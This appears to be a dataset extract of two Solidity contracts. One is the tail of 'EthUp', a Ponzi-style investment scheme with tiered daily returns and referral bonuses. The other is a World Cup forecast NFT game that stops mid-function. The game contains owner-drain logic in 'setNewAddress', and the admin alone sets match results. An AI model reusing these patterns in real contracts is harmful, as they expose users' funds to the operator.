uint paymentTime,
uint dividendsLimit
)
public
onlyOwner
returns (
bool
)
{
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
inv.dividends.limit = dividendsLimit;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment = investors[addr].investment.add(investment);
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function addDeferredDividends(address addr, uint dividends) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].dividends.deferred = investors[addr].dividends.deferred.add(dividends);
return true;
}
function addDividends(address addr, uint dividends) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
if (investors[addr].dividends.value + dividends > investors[addr].dividends.limit) {
investors[addr].dividends.value = investors[addr].dividends.limit;
} else {
investors[addr].dividends.value = investors[addr].dividends.value.add(dividends);
}
return true;
}
function setNewInvestment(address addr, uint investment, uint limit) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment = investment;
investors[addr].dividends.limit = limit;
investors[addr].dividends.value = 0;
investors[addr].dividends.deferred = 0;
return true;
}
function addDividendsLimit(address addr, uint limit) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].dividends.limit = investors[addr].dividends.limit.add(limit);
return true;
}
}
contract EthUp is Accessibility {
using Percent for Percent.percent;
using SafeMath for uint;
using Zero for *;
using ToAddress for *;
InvestorsStorage private m_investors;
mapping(address => bool) private m_referrals;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public constant MIN_INVESTMENT = 10 finney;
uint public constant MAX_INVESTMENT = 50 ether;
uint public constant MAX_BALANCE = 1e5 ether;
Percent.percent private m_1_percent = Percent.percent(1, 100);
Percent.percent private m_1_5_percent = Percent.percent(15, 1000);
Percent.percent private m_2_percent = Percent.percent(2, 100);
Percent.percent private m_2_5_percent = Percent.percent(25, 1000);
Percent.percent private m_3_percent = Percent.percent(3, 100);
Percent.percent private m_3_5_percent = Percent.percent(35, 1000);
Percent.percent private m_4_percent = Percent.percent(4, 100);
Percent.percent private m_refPercent = Percent.percent(5, 100);
Percent.percent private m_adminsPercent = Percent.percent(5, 100);
Percent.percent private m_advertisingPercent = Percent.percent(1, 10);
Percent.percent private m_maxDepositPercent = Percent.percent(15, 10);
Percent.percent private m_reinvestPercent = Percent.percent(1, 10);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewInvestor(address indexed addr, uint when);
event LogNewInvestment(address indexed addr, uint when, uint investment, uint value);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint value);
event LogPayReferrerBonus(address indexed addr, uint when, uint value);
event LogBalanceChanged(uint when, uint balance);
event LogDisown(uint when);
modifier balanceChanged() {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
m_investors = new InvestorsStorage();
investmentsNumber = 0;
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function percent1() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_1_percent.num, m_1_percent.den);
}
function percent1_5() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_1_5_percent.num, m_1_5_percent.den);
}
function percent2() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_2_percent.num, m_2_percent.den);
}
function percent2_5() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_2_5_percent.num, m_2_5_percent.den);
}
function percent3() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_3_percent.num, m_3_percent.den);
}
function percent3_5() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_3_5_percent.num, m_3_5_percent.den);
}
function percent4() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_4_percent.num, m_4_percent.den);
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function maxDepositPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_maxDepositPercent.num, m_maxDepositPercent.den);
}
function investorInfo(
address investorAddr
)
public
view
returns (
uint investment,
uint paymentTime,
uint dividends,
uint dividendsLimit,
uint dividendsDeferred,
bool isReferral
)
{
(
investment,
paymentTime,
dividends,
dividendsLimit,
dividendsDeferred
) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function getInvestorDividendsAtNow(
address investorAddr
)
public
view
returns (
uint dividends
)
{
dividends = calcDividends(investorAddr);
}
function getDailyPercentAtNow(
address investorAddr
)
public
view
returns (
uint numerator,
uint denominator
)
{
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
Percent.percent memory p = getDailyPercent(investor.investment);
(numerator, denominator) = (p.num, p.den);
}
function getRefBonusPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = getRefBonusPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
uint dividends = calcDividends(msg.sender);
require(dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance < dividends) {
dividends = address(this).balance;
}
assert(m_investors.addDividends(msg.sender, dividends));
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= MIN_INVESTMENT, "investment must be >= MIN_INVESTMENT");
require(address(this).balance + investment <= MAX_BALANCE, "the contract eth balance limit");
if (receivedEther > MAX_INVESTMENT) {
uint excess = receivedEther - MAX_INVESTMENT;
investment = MAX_INVESTMENT;
msg.sender.transfer(excess);
emit LogSendExcessOfEther(msg.sender, now, receivedEther, investment, excess);
}
uint advertisingCommission = m_advertisingPercent.mul(investment);
uint adminsCommission = m_adminsPercent.mul(investment);
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() &&
!senderIsInvestor &&
!m_referrals[msg.sender] &&
referrerAddr != msg.sender &&
m_investors.isInvestor(referrerAddr)) {
uint refBonus = getRefBonusPercent().mmul(investment);
assert(m_investors.addInvestment(referrerAddr, refBonus));
investment = investment.add(refBonus);
m_referrals[msg.sender] = true;
emit LogNewReferral(msg.sender, referrerAddr, now, refBonus);
}
uint maxDividends = getMaxDepositPercent().mmul(investment);
if (senderIsInvestor) {
InvestorsStorage.Investor memory investor = getMemInvestor(msg.sender);
if (investor.dividends.value == investor.dividends.limit) {
uint reinvestBonus = getReinvestBonusPercent().mmul(investment);
investment = investment.add(reinvestBonus);
maxDividends = getMaxDepositPercent().mmul(investment);
assert(m_investors.setNewInvestment(msg.sender, investment, maxDividends));
emit LogReinvest(msg.sender, now, investment);
} else {
uint dividends = calcDividends(msg.sender);
if (dividends.notZero()) {
assert(m_investors.addDeferredDividends(msg.sender, dividends));
}
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.addDividendsLimit(msg.sender, maxDividends));
}
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now, maxDividends));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
advertisingAddress.transfer(advertisingCommission);
adminsAddress.transfer(adminsCommission);
emit LogNewInvestment(msg.sender, now, investment, receivedEther);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function getMemInvestor(
address investorAddr
)
internal
view
returns (
InvestorsStorage.Investor memory
)
{
(
uint investment,
uint paymentTime,
uint dividends,
uint dividendsLimit,
uint dividendsDeferred
) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(
investment,
paymentTime,
InvestorsStorage.Dividends(
dividends,
dividendsLimit,
dividendsDeferred)
);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
uint interval = 1 days;
uint pastTime = now.sub(investor.paymentTime);
if (investor.investment.isZero() || pastTime < interval) {
return 0;
}
if (investor.dividends.value >= investor.dividends.limit) {
return 0;
}
Percent.percent memory p = getDailyPercent(investor.investment);
Percent.percent memory c = Percent.percent(p.num + p.den, p.den);
uint intervals = pastTime.div(interval);
uint totalDividends = investor.dividends.limit.add(investor.investment).sub(investor.dividends.value).sub(investor.dividends.deferred);
dividends = investor.investment;
for (uint i = 0; i < intervals; i++) {
dividends = c.mmul(dividends);
if (dividends > totalDividends) {
dividends = totalDividends.add(investor.dividends.deferred);
break;
}
}
dividends = dividends.sub(investor.investment);
}
function getMaxDepositPercent() internal view returns(Percent.percent memory p) {
p = m_maxDepositPercent.toMemory();
}
function getDailyPercent(uint value) internal view returns(Percent.percent memory p) {
if (MIN_INVESTMENT <= value && value < 100 finney) {
p = m_1_percent.toMemory();
} else if (100 finney <= value && value < 1 ether) {
p = m_1_5_percent.toMemory();
} else if (1 ether <= value && value < 5 ether) {
p = m_2_percent.toMemory();
} else if (5 ether <= value && value < 10 ether) {
p = m_2_5_percent.toMemory();
} else if (10 ether <= value && value < 20 ether) {
p = m_3_percent.toMemory();
} else if (20 ether <= value && value < 30 ether) {
p = m_3_5_percent.toMemory();
} else if (30 ether <= value && value <= MAX_INVESTMENT) {
p = m_4_percent.toMemory();
}
}
function getRefBonusPercent() internal view returns(Percent.percent memory p) {
p = m_refPercent.toMemory();
}
function getReinvestBonusPercent() internal view returns(Percent.percent memory p) {
p = m_reinvestPercent.toMemory();
}
} | 1 | 4,258 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract Ownable {
address public owner;
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
admin = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(msg.sender == admin || msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) public onlyOwner {
require(newAdmin != address(0));
admin = newAdmin;
}
}
contract Pausable is Ownable {
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
}
function unpause() public onlyOwner whenPaused {
paused = false;
}
}
contract BrokenContract is Pausable {
address public newContractAddress;
function setNewAddress(address _v2Address) external onlyOwner whenPaused {
owner.transfer(address(this).balance);
newContractAddress = _v2Address;
}
}
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721BasicToken is BrokenContract, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
mapping (uint256 => address) internal tokenOwner;
mapping (address => uint256) internal ownedTokensCount;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner;
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
}
contract BaseGame is ERC721Token {
event NewAccount(address owner, uint tokenId, uint parentTokenId, uint blockNumber);
event NewForecast(address owner, uint tokenId, uint forecastId, uint _gameId,
uint _forecastData);
struct Token {
uint createBlockNumber;
uint parentId;
}
enum Teams { DEF,
RUS, SAU, EGY, URY,
PRT, ESP, MAR, IRN,
FRA, AUS, PER, DNK,
ARG, ISL, HRV, NGA,
BRA, CHE, CRI, SRB,
DEU, MEX, SWE, KOR,
BEL, PAN, TUN, GBR,
POL, SEN, COL, JPN
}
event GameChanged(uint _gameId, uint64 gameDate, Teams teamA, Teams teamB,
uint goalA, uint goalB, bool odds, uint shotA, uint shotB);
struct Game {
uint64 gameDate;
Teams teamA;
Teams teamB;
uint goalA;
uint goalB;
bool odds;
uint shotA;
uint shotB;
uint[] forecasts;
}
struct Forecast {
uint gameId;
uint forecastBlockNumber;
uint forecastData;
}
Token[] tokens;
mapping (uint => Game) games;
Forecast[] forecasts;
mapping (uint => uint) internal forecastToToken;
mapping (uint => uint[]) internal tokenForecasts;
constructor(string _name, string _symbol) ERC721Token(_name, _symbol) public {}
function _createToken(uint _parentId, address _owner) internal whenNotPaused
returns (uint) {
Token memory _token = Token({
createBlockNumber: block.number,
parentId: _parentId
});
uint newTokenId = tokens.push(_token) - 1;
emit NewAccount(_owner, newTokenId, uint(_token.parentId), uint(_token.createBlockNumber));
_mint(_owner, newTokenId);
return newTokenId;
}
function _createForecast(uint _tokenId, uint _gameId, uint _forecastData) internal whenNotPaused returns (uint) {
require(_tokenId < tokens.length);
Forecast memory newForecast = Forecast({
gameId: _gameId,
forecastBlockNumber: block.number,
forecastData: _forecastData
});
uint newForecastId = forecasts.push(newForecast) - 1;
forecastToToken[newForecastId] = _tokenId;
tokenForecasts[_tokenId].push(newForecastId);
games[_gameId].forecasts.push(newForecastId);
emit NewForecast(tokenOwner[_tokenId], _tokenId, newForecastId, _gameId, _forecastData);
return newForecastId;
}
}
contract BaseGameLogic is BaseGame {
uint public prizeFund = 0;
uint public basePrice = 21 finney;
uint public gameCloneFee = 7000;
uint public priceFactor = 10000;
uint public prizeFundFactor = 5000;
constructor(string _name, string _symbol) BaseGame(_name, _symbol) public {}
function _addToFund(uint _val, bool isAll) internal whenNotPaused {
if(isAll) {
prizeFund = prizeFund.add(_val);
} else {
prizeFund = prizeFund.add(_val.mul(prizeFundFactor).div(10000));
}
}
function createAccount() external payable whenNotPaused returns (uint) {
require(msg.value >= basePrice);
_addToFund(msg.value, false);
return _createToken(0, msg.sender);
}
function cloneAccount(uint _tokenId) external payable whenNotPaused returns (uint) {
require(exists(_tokenId));
uint tokenPrice = calculateTokenPrice(_tokenId);
require(msg.value >= tokenPrice);
uint newToken = _createToken( _tokenId, msg.sender);
uint gameFee = tokenPrice.mul(gameCloneFee).div(10000);
_addToFund(gameFee, false);
uint ownerProceed = tokenPrice.sub(gameFee);
address tokenOwnerAddress = tokenOwner[_tokenId];
tokenOwnerAddress.transfer(ownerProceed);
return newToken;
}
function createForecast(uint _tokenId, uint _gameId,
uint8 _goalA, uint8 _goalB, bool _odds, uint8 _shotA, uint8 _shotB)
external whenNotPaused onlyOwnerOf(_tokenId) returns (uint){
require(exists(_tokenId));
require(block.timestamp < games[_gameId].gameDate);
uint _forecastData = toForecastData(_goalA, _goalB, _odds, _shotA, _shotB);
return _createForecast(_tokenId, _gameId, _forecastData);
}
function tokensOfOwner(address _owner) public view returns(uint[] ownerTokens) {
uint tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint[](0);
} else {
uint[] memory result = new uint[](tokenCount);
uint totalToken = totalSupply();
uint resultIndex = 0;
uint _tokenId;
for (_tokenId = 1; _tokenId <= totalToken; _tokenId++) {
if (tokenOwner[_tokenId] == _owner) {
result[resultIndex] = _tokenId;
resultIndex++;
}
}
return result;
}
}
function forecastOfToken(uint _tokenId) public view returns(uint[]) {
uint forecastCount = tokenForecasts[_tokenId].length;
if (forecastCount == 0) {
return new uint[](0);
} else {
uint[] memory result = new uint[](forecastCount);
uint resultIndex;
for (resultIndex = 0; resultIndex < forecastCount; resultIndex++) {
result[resultIndex] = tokenForecasts[_tokenId][resultIndex];
}
return result;
}
}
function gameInfo(uint _gameId) external view returns(
uint64 gameDate, Teams teamA, Teams teamB, uint goalA, uint gaolB,
bool odds, uint shotA, uint shotB, uint forecastCount
){
gameDate = games[_gameId].gameDate;
teamA = games[_gameId].teamA;
teamB = games[_gameId].teamB;
goalA = games[_gameId].goalA;
gaolB = games[_gameId].goalB;
odds = games[_gameId].odds;
shotA = games[_gameId].shotA;
shotB = games[_gameId].shotB;
forecastCount = games[_gameId].forecasts.length;
}
function forecastInfo(uint _fId) external view
returns(uint gameId, uint f) {
gameId = forecasts[_fId].gameId;
f = forecasts[_fId].forecastData;
}
function tokenInfo(uint _tokenId) external view
returns(uint createBlockNumber, uint parentId, uint forecast, uint score, uint price) {
createBlockNumber = tokens[_tokenId].createBlockNumber;
parentId = tokens[_tokenId].parentId;
price = calculateTokenPrice(_tokenId);
forecast = getForecastCount(_tokenId, block.number, false);
score = getScore(_tokenId);
}
function calculateTokenPrice(uint _tokenId) public view returns(uint) {
require(exists(_tokenId));
uint forecastCount = getForecastCount(_tokenId, block.number, true);
return (forecastCount.add(1)).mul(basePrice).mul(priceFactor).div(10000);
}
function getForecastCount(uint _tokenId, uint _blockNumber, bool isReleased) public view returns(uint) {
require(exists(_tokenId));
uint forecastCount = 0 ;
uint index = 0;
uint count = tokenForecasts[_tokenId].length;
for (index = 0; index < count; index++) {
if(forecasts[tokenForecasts[_tokenId][index]].forecastBlockNumber < _blockNumber){
if(isReleased) {
if (games[forecasts[tokenForecasts[_tokenId][index]].gameId].gameDate < block.timestamp) {
forecastCount = forecastCount + 1;
}
} else {
forecastCount = forecastCount + 1;
}
}
}
if(tokens[_tokenId].parentId != 0){
forecastCount = forecastCount.add(getForecastCount(tokens[_tokenId].parentId,
tokens[_tokenId].createBlockNumber, isReleased));
}
return forecastCount;
}
function getScore(uint _tokenId) public view returns (uint){
uint[] memory _gameForecast = new uint[](65);
return getScore(_tokenId, block.number, _gameForecast);
}
function getScore(uint _tokenId, uint _blockNumber, uint[] _gameForecast) public view returns (uint){
uint score = 0;
uint[] memory _forecasts = forecastOfToken(_tokenId);
if (_forecasts.length > 0){
uint256 _index;
for(_index = _forecasts.length - 1; _index >= 0 && _index < _forecasts.length ; _index--){
if(forecasts[_forecasts[_index]].forecastBlockNumber < _blockNumber &&
_gameForecast[forecasts[_forecasts[_index]].gameId] == 0 &&
block.timestamp > games[forecasts[_forecasts[_index]].gameId].gameDate
){
score = score.add(calculateScore(
forecasts[_forecasts[_index]].gameId,
forecasts[_forecasts[_index]].forecastData
));
_gameForecast[forecasts[_forecasts[_index]].gameId] = forecasts[_forecasts[_index]].forecastBlockNumber;
}
}
}
if(tokens[_tokenId].parentId != 0){
score = score.add(getScore(tokens[_tokenId].parentId, tokens[_tokenId].createBlockNumber, _gameForecast));
}
return score;
}
function getForecastScore(uint256 _forecastId) external view returns (uint256) {
require(_forecastId < forecasts.length);
return calculateScore(
forecasts[_forecastId].gameId,
forecasts[_forecastId].forecastData
);
}
function calculateScore(uint256 _gameId, uint d)
public view returns (uint256){
require(block.timestamp > games[_gameId].gameDate);
uint256 _shotB = (d & 0xff);
d = d >> 8;
uint256 _shotA = (d & 0xff);
d = d >> 8;
uint odds8 = (d & 0xff);
bool _odds = odds8 == 1 ? true: false;
d = d >> 8;
uint256 _goalB = (d & 0xff);
d = d >> 8;
uint256 _goalA = (d & 0xff);
d = d >> 8;
Game memory cGame = games[_gameId];
uint256 _score = 0;
bool isDoubleScore = true;
if(cGame.shotA == _shotA) {
_score = _score.add(1);
} else {
isDoubleScore = false;
}
if(cGame.shotB == _shotB) {
_score = _score.add(1);
} else {
isDoubleScore = false;
}
if(cGame.odds == _odds) {
_score = _score.add(1);
} else {
isDoubleScore = false;
}
if((cGame.goalA + cGame.goalB) == (_goalA + _goalB)) {
_score = _score.add(2);
} else {
isDoubleScore = false;
}
if(cGame.goalA == _goalA && cGame.goalB == _goalB) {
_score = _score.add(3);
} else {
isDoubleScore = false;
}
if( ((cGame.goalA > cGame.goalB) && (_goalA > _goalB)) ||
((cGame.goalA < cGame.goalB) && (_goalA < _goalB)) ||
((cGame.goalA == cGame.goalB) && (_goalA == _goalB))) {
_score = _score.add(1);
} else {
isDoubleScore = false;
}
if(isDoubleScore) {
_score = _score.mul(2);
}
return _score;
}
function setBasePrice(uint256 _val) external onlyAdmin {
require(_val > 0);
basePrice = _val;
}
function setGameCloneFee(uint256 _val) external onlyAdmin {
require(_val <= 10000);
gameCloneFee = _val;
}
function setPrizeFundFactor(uint256 _val) external onlyAdmin {
require(_val <= 10000);
prizeFundFactor = _val;
}
function setPriceFactor(uint256 _val) external onlyAdmin {
priceFactor = _val;
}
function gameEdit(uint256 _gameId, uint64 gameDate,
Teams teamA, Teams teamB)
external onlyAdmin {
games[_gameId].gameDate = gameDate;
games[_gameId].teamA = teamA;
games[_gameId].teamB = teamB;
emit GameChanged(_gameId, games[_gameId].gameDate, games[_gameId].teamA, games[_gameId].teamB,
0, 0, true, 0, 0);
}
function gameResult(uint256 _gameId, uint256 goalA, uint256 goalB, bool odds, uint256 shotA, uint256 shotB)
external onlyAdmin {
games[_gameId].goalA = goalA;
games[_gameId].goalB = goalB;
games[_gameId].odds = odds;
games[_gameId].shotA = shotA;
games[_gameId].shotB = shotB;
emit GameChanged(_gameId, games[_gameId].gameDate, games[_gameId].teamA, games[_gameId].teamB,
goalA, goalB, odds, shotA, shotB);
}
function toForecastData(uint8 _goalA, uint8 _goalB, bool _odds, uint8 _shotA, uint8 _shotB)
pure internal returns (uint) {
uint forecastData;
forecastData = forecastData << 8 | _goalA;
forecastData = forecastData << 8 | _goalB;
uint8 odds8 = _odds ? 1 : 0;
forecastData = forecastData << 8 | odds8;
forecastData = forecastData << 8 | _shotA;
forecastData = forecastData << 8 | _shotB;
return forecastData;
}
}
contract HWCIntegration is BaseGameLogic {
event NewHWCRegister(address owner, string aD, string aW);
constructor(string _name, string _symbol) BaseGameLogic(_name, _symbol) public {}
struct HWCInfo {
string aDeposit;
string aWithdraw;
uint deposit;
uint index1;
}
uint public cHWCtoEth = 0;
uint256 public prizeFundHWC = 0;
mapping (address => HWCInfo) hwcAddress;
address[] hwcAddressList;
function _addToFundHWC(uint256 _val) internal whenNotPaused {
prizeFundHWC = prizeFundHWC.add(_val.mul(prizeFundFactor).div(10000));
}
function registerHWCDep(string _a) public {
require(bytes(_a).length == 34);
hwcAddress[msg.sender].aDeposit = _a;
if(hwcAddress[msg.sender].index1 == 0){
hwcAddress[msg.sender].index1 = hwcAddressList.push(msg.sender);
}
emit NewHWCRegister(msg.sender, _a, '');
}
function registerHWCWit(string _a) public {
require(bytes(_a).length == 34);
hwcAddress[msg.sender].aWithdraw = _a;
if(hwcAddress[msg.sender].index1 == 0){
hwcAddress[msg.sender].index1 = hwcAddressList.push(msg.sender);
}
emit NewHWCRegister(msg.sender, '', _a);
}
function getHWCAddressCount() public view returns (uint){
return hwcAddressList.length;
}
function getHWCAddressByIndex(uint _index) public view returns (string aDeposit, string aWithdraw, uint d) {
require(_index < hwcAddressList.length);
return getHWCAddress(hwcAddressList[_index]);
}
function getHWCAddress(address _val) public view returns (string aDeposit, string aWithdraw, uint d) {
aDeposit = hwcAddress[_val].aDeposit;
aWithdraw = hwcAddress[_val].aWithdraw;
d = hwcAddress[_val].deposit;
}
function setHWCDeposit(address _user, uint _val) external onlyAdmin {
hwcAddress[_user].deposit = _val;
}
function createTokenByHWC(address _userTo, uint256 _parentId) external onlyAdmin whenNotPaused returns (uint) {
uint256 tokenPrice = basePrice.div(1e10).mul(cHWCtoEth);
if(_parentId > 0) {
tokenPrice = calculateTokenPrice(_parentId);
tokenPrice = tokenPrice.div(1e10).mul(cHWCtoEth);
uint gameFee = tokenPrice.mul(gameCloneFee).div(10000);
_addToFundHWC(gameFee);
uint256 ownerProceed = tokenPrice.sub(gameFee);
address tokenOwnerAddress = tokenOwner[_parentId];
hwcAddress[tokenOwnerAddress].deposit = hwcAddress[tokenOwnerAddress].deposit + ownerProceed;
} else {
_addToFundHWC(tokenPrice);
}
return _createToken(_parentId, _userTo);
}
function setCourse(uint _val) external onlyAdmin {
cHWCtoEth = _val;
}
}
contract SolutionGame is HWCIntegration {
uint256 countWinnerPlace;
mapping (uint256 => uint256) internal prizeDistribution;
mapping (uint256 => uint256) internal prizesByPlace;
mapping (uint256 => uint256) internal scoreByPlace;
mapping (uint => uint) winnerMap;
uint[] winnerList;
mapping (uint256 => uint256) internal prizesByPlaceHWC;
bool isWinnerTime = false;
modifier whenWinnerTime() {
require(isWinnerTime);
_;
}
constructor(string _name, string _symbol) HWCIntegration(_name, _symbol) public {
countWinnerPlace = 0;
}
function() external payable {
_addToFund(msg.value, true);
}
function setWinnerTimeStatus(bool _status) external onlyOwner {
isWinnerTime = _status;
}
function withdrawBalance() external onlyOwner {
owner.transfer(address(this).balance.sub(prizeFund));
}
function setCountWinnerPlace(uint256 _val) external onlyOwner {
countWinnerPlace = _val;
}
function setWinnerPlaceDistribution(uint256 place, uint256 _val) external onlyOwner {
require(place <= countWinnerPlace);
require(_val <= 10000);
uint256 testVal = 0;
uint256 index;
for (index = 1; index <= countWinnerPlace; index ++) {
if(index != place) {
testVal = testVal + prizeDistribution[index];
}
}
testVal = testVal + _val;
require(testVal <= 10000);
prizeDistribution[place] = _val;
}
function setCountWinnerByPlace(uint256 place, uint256 _winnerCount, uint256 _winnerScore) public onlyOwner whenPaused {
require(_winnerCount > 0);
require(place <= countWinnerPlace);
prizesByPlace[place] = prizeFund.mul(prizeDistribution[place]).div(10000).div(_winnerCount);
prizesByPlaceHWC[place] = prizeFundHWC.mul(prizeDistribution[place]).div(10000).div(_winnerCount);
scoreByPlace[place] = _winnerScore;
}
function checkIsWinner(uint _tokenId) public view whenPaused onlyOwnerOf(_tokenId)
returns (uint place) {
place = 0;
uint score = getScore(_tokenId);
for(uint index = 1; index <= countWinnerPlace; index ++) {
if (score == scoreByPlace[index]) {
place = index;
break;
}
}
}
function getMyPrize() external whenWinnerTime {
uint[] memory tokenList = tokensOfOwner(msg.sender);
for(uint index = 0; index < tokenList.length; index ++) {
getPrizeByToken(tokenList[index]);
}
